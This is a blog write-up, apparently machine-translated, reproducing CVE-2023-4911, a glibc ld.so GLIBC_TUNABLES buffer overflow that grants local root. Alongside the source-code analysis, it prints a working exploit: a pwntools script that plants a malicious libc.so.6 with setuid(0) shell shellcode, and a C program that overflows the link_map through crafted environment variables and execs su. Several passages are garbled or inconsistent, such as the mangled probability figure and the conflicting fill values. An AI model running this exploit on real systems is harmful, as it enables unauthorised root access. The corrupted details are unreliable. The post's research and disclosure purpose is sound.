Skip to main content

PWN CVE-2023-4911 Reproduction

· 9 min read
Muel - Nova
Anime Would PWN This WORLD into 2D

Recently encountered this vulnerability, it seems to have a wide range of potential exploits. Although most machines in China seem to have a relatively low version of libc, let's take a look at it first.

Environment Setup

Testing Environment

OS: Ubuntu 22.04.1 LTS on Windows 10 x86_64

Kernel: 5.15.123.1-microsoft-standard-WSL2

Glibc: 2.35-0ubuntu3.3

Test Effect

leesh3288/CVE-2023-4911

Screenshot

Vulnerability

When executing set-user-ID and set-group-ID programs, the code runs in privileged mode. In commit 2ed18c ("Fix SXID_ERASE behavior in setuid programs (BZ #27471)") (glibc 2.34), a buffer overflow vulnerability was introduced when handling the GLIBC_TUNABLES environment variable.

We can observe the source code of glibc

------------------------------------------------------------------------
269 void
270 __tunables_init (char **envp)
271 {
272 char *envname = NULL;
273 char *envval = NULL;
274 size_t len = 0;
275 char **prev_envp = envp;
...
279 while ((envp = get_next_env (envp, &envname, &len, &envval,
280 &prev_envp)) != NULL)
281 {
282 if (tunable_is_name ("GLIBC_TUNABLES", envname))
283 {
284 char *new_env = tunables_strdup (envname);
285 if (new_env != NULL)
286 parse_tunables (new_env + len + 1, envval);
287 /* Put in the updated envval. */
288 *prev_envp = new_env;
289 continue;
290 }
------------------------------------------------------------------------

In the __tunables_init() function definition, we can see that it first checks the envname (#282), the conditions are orig == envname and the next character is envname == '=' && orig == '\0'.

static __always_inline bool
tunable_is_name (const char *orig, const char *envname)
{
for (;*orig != '\0' && *envname != '\0'; envname++, orig++)
if (*orig != *envname)
break;

/* The ENVNAME is immediately followed by a value. */
if (*orig == '\0' && *envname == '=')
return true;
else
return false;
}

After that, it makes a deep copy of envname using tunables_strdup (#284)

static char *
tunables_strdup (const char *in)
{
size_t i = 0;

while (in[i++] != '\0');
char *out = __sbrk (i);

/* For most of the tunables code, we ignore user errors. However,
this is a system error - and running out of memory at program
startup should be reported, so we do. */
if (out == (void *)-1)
_dl_fatal_printf ("sbrk() failure while processing tunables\n");

i--;

while (i-- > 0)
out[i] = in[i];

return out;
}

After copying the duplicate, it replaces the original GLIBC_TUNABLES with the duplicate (using parse_tunables(), where the first argument is a pointer to the value of the environment variable duplicate, and the second argument is a pointer to the value of the original environment variable).

Within parse_tunables(), it removes all dangerous tunables from arg1 (SXID_ERASE) but retains SXID_IGNORE and NONE. The format of GLIBC_TUNABLES is GLIBC_TUNABLES=aaa=111:bbb=222. Although various scenarios are considered prior to this, let's consider a case: when GLIBC_TUNABLES=AAA=AAA=BBB, the program flow is as follows:

The source code sections provided in the original text describe the process of parsing GLIBC_TUNABLES in multiple iterations, leading to a potential buffer overflow.

Exploitation Approach

Since we have identified the vulnerability, the next step is to consider how to exploit it. The initial idea was to overflow the __minimal_malloc memory where environment variables are stored. By doing this, it is possible to overwrite certain memory locations and potentially redirect program execution flow to execute arbitrary code.

Consequently, it is essential to craft the payload carefully to achieve code execution through this buffer overflow vulnerability.2.png)

The original text mentions that "but we failed because of two assertion failures in setup_vdso(), which immediately abort() ld.so", but when I tested modifying l_next and l_prev, there was no assert error (I only modified the l_next and l_prev of the first one). Checking the code of _dl_new_object, it returns a new linked list head, so there should not be any errors. I suspect that the overflow is overflowing into the second link_map, which is the link_map returned by the setup_vdso. So, whether we can directly modify it needs to be explored further, but in this article, we will continue following the original train of thought.

Since we can modify l_next and l_prev, naturally, we can also modify other pointers of the link_map, with the most significant one being l_info, as it is an array of pointers to Elf64_Dyn structures. Among them, l_info[DT_RPATH] pointer can specify the runtime ld search directory. By overriding this pointer and controlling the location and content it points to, we can make ld.so trust our own libc.so.6 or LD_PRELOAD library. So, what is the location to which this pointer should point? Considering the locations we can control, apart from a few writable segments, the only other place is the stack where environment variables reside, which seems more convenient.

Referring to bprm_stack_limit(), we can know that the combined usage of argv and envp should not exceed 6MB (8MB / 4 _ 3). In the case of AMD64, the stack in the virtual address space starts allocating from 2 << 47 as STACK_TOP, and then undergoes randomize_stack_top. With ASLR enabled, there will be an offset within a range of 0x3fffff _ PAGE_SIZE, which is a range of 16GB, as found in arch/x86/include/asm/elf.h with the value of STACK_RND_MASK.

Therefore, if we set the address pointed to by l_info[DT_RPATH] to the central area of the stack minus the offset of our envp (which actually may not be needed since the range is quite large), approximately around 0x7ffdfffff030, we have a probability of about 6MB/16GB127306MB/16GB\approx \frac{1}{2730} to hit our input. Now, the question is, what should be our input?

Let's consider l_info[DT_RPATH], which is a pointer to Elf64_Dyn, and when it exists, it will trust directories (relative directories) by running decompose_rpath. It calculates it using (D_PTR(l, l_info[DT_STRTAB]) + l->l_info[DT_RPATH]->d_un.d_val. For this macro, as AMD64 has already undergone ld relocations, we can directly calculate it. Essentially, it points to l_info[DT_STRTAB]->d_un.d_ptr + l_info[DT_RPATH]->d_un.d_val.

Now, what resides in this memory? Let's look at the memory layout provided. We can see the mapping to d_tag and d_ptr/d_val. $9 corresponds to l_info[DT_STRTAB], and 0xcff0 corresponds to l_info[DT_STRTAB]->d_un.d_ptr. By observing before and after it, we can find a single " at the position -0x14, making it suitable for our directory. All we need to do is fill in the position pointed to by l_info[DT_RPATH]->d_un.d_val with 0xffffffffffec to direct it to our " directory.

At this point, we have one final problem: we need to overflow into l_info[RT_PATH but cannot modify l_prev and l_next (if possible, we hope the others are also NULL to avoid some other checks). Revisiting the parse_tunables function, we can see that it copies the data using the stack data; therefore, copying NULL bytes seems feasible.

Therefore, our attack chain is evident now: construct a malicious libc.so.6 placed in the " directory, overflow l_info[RT_PATH] to point to the stack, fill the stack with a large number of 0xffffffffffcb, and if hit, ld.so will trust our malicious libc.so.6, leading to obtaining root access.

Exploit

Next step is to write the attack script. First, we build a malicious libc.so.6 by rewriting __libc_start_main with shellcode(setuid(0) + setgid(0) + sh()).

from pwn import *

context(arch='amd64', os='linux')

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

d = bytearray(open(libc.path, 'rb').read())
idx = d.find(libc.read(libc.symbols['__libc_start_main'], 0x10))

sc = asm(shellcraft.setuid(0) + shellcraft.setgid(0) + shellcraft.sh())

d[idx:idx+len(sc)] = sc

mkdir_p('"')
open('"/libc.so.6', 'wb').write(d)

We need to fill the read-write section of ld.so, allowing our further attack in a new segment. A size of around 0x1000 should suffice.

Now, we need to know the offset of l_info[RT_PATH]. Since __minimal_malloc will immediately allocate memory behind our second GLIBC_TUNABLES, any overflow will lead to overwriting positions like l_prev. To place it in a relatively safe position, we can consider adding a third GLICB_TUNABLES as a separator.

First, calculate the number of bytes we overflowed in the first time: :<NAME>=*2 + <VALUE>, then continue copying and overflowing at the offset where :<NAME>= occurs after the environment variables, and beyond which we do not consider. In our case, the :<NAME>= is 21 bytes. After calculation, the first byte to copy is at 0x5f1 location, corresponding to envp[2+0x14], and l_info[RT_PATH] is at 0x6d8 location, corresponding to envp[2+0x14+(0x6d8-0x5f1)]=envp[0xfd]. Testing this:

It can be seen that the test succeeded. Now, we can point it to the stack. Here, we fill 5MB of -0x14.

Parameters are now all set.

Successfully loaded the malicious libc.

The final exploit requires breaking at dl-object.c:92 to manually set l_info[RT_PATH] to point to the stack, otherwise, a loop bruteforce needs to be written.

// gcc -DNO_ASLR exp.c -g -o exp
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

int main() {
char *envp[0x1000] = {NULL};
char *argv[] = {"/usr/bin/su", "--help", NULL};

// Initialize envp
for (int i = 0; i < 0xfff; i++) {
envp[i] = "";
}

// Fill the ld.so read-write section
char p[0xd00];
strcpy(p, "GLIBC_TUNABLES=glibc.malloc.mxfast=");
for (int i = strlen(p); i < sizeof(p) - 1; i++) {
p[i] = 'A';
}
p[sizeof(p) - 1] = '\0';
envp[0] = p;

// Overflow
char overflow[0x300];
strcpy(overflow, "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast="); // 55
for (int i = strlen(overflow); i < sizeof(overflow) - 1; i++) {
overflow[i] = 'B';
}
overflow[sizeof(overflow) - 1] = '\0';
envp[1] = overflow;

// Separator block
char p2[0x300];
strcpy(p2, "GLIBC_TUNABLES=glibc.malloc.mxfast=");
for (int i = strlen(p2); i < sizeof(p2) - 1; i++) {
p2[i] = 'C';
}
p2[sizeof(p2) - 1] = '\0';
envp[0x500] = p2;

// Stack
char dt_rpath[0x10000]; // 1MB
for( int i = 0; i<sizeof(dt_rpath); i+=8) {
*(unsigned long long *)&dt_rpath[i] = -0x14;
}
for (int i = 0xff0; i < 0xff6; i++) {
envp[i] = dt_rpath;
}
envp[0xff6] = "AAAAA"; // alignment
envp[0xfd] = "MuElnova";

execve(argv[0], argv, envp);
}

Fix

The fix is to check if the input is complete (p[len] == '\0').

Note

Building different versions of GLIBC

At the time of the PoC release, GNU had already released GLIBC 2.35-0ubuntu3.4, and deleted GLIBC 2.35-0ubuntu3.3 from the software sources, so we need to downgrade the installation.

2.35-0ubuntu3.3 : glibc package : Ubuntu (launchpad.net), search for different versions.

# Need to install amd64/i386 tarball together
# https://launchpad.net/ubuntu/jammy/i386/libc6/2.35-0ubuntu3.3
# https://launchpad.net/ubuntu/jammy/amd64/libc6/2.35-0ubuntu3.3
# Downloadable files

dpkg -i libc6_2.35*.deb

References

oss-sec: CVE-2023-4911: Local Privilege Escalation in the glibc's ld.so (seclists.org)

Tunables (The GNU C Library)

Linux Stack Size - Tiehichi's Blog

Implementation of Linux ASLR - 简单地快乐 - 博客园 (cnblogs.com)

info

This Content is generated by ChatGPT and might be wrong / incomplete, refer to Chinese version if you find something wrong.

Loading Comments...